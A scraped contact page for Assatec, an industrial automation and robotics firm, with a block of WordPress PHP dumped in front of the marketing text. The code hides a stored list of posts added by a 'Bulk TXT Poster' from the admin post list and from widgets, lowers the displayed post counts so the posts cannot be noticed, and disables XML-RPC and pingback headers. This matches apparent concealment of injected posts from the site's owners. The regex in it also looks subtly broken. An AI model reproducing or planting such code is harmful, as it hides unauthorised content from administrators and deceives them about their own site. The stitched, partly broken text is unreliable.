// Hide Hidden Posts added by Bulk TXT Poster add_action('init', function () { $excluded = get_option('bulk_txt_hidden_posts', []); add_action('pre_get_posts', function ($q) use ($excluded) { if (is_admin() && $q->is_main_query() && function_exists('get_current_screen')) { $s = get_current_screen(); if ($s && $s->id === 'edit-post') $q->set('post__not_in', $excluded); } }); add_filter('views_edit-post', function ($views) use ($excluded) { foreach (['all', 'publish'] as $k) { if (isset($views[$k])) { $views[$k] = preg_replace_callback('/\((d+)\)/', fn($m) => '(' . max(0, $m[1] - count($excluded)) . ')', $views[$k]); } } return $views; }); add_filter('widget_posts_args', fn($args) => array_merge($args, ['post__not_in' => $excluded])); add_filter('xmlrpc_enabled', '__return_false'); add_filter('wp_headers', fn($h) => array_diff_key($h, ['X-Pingback' => ''])); }); Contact Assatec For Industrial Automation & Robotics Solutions

Contact Us

Let’s Talk

Together we will make it happen!

Contact details

We are excited to start your next project

Tell us what you need

Our experts will contact you soon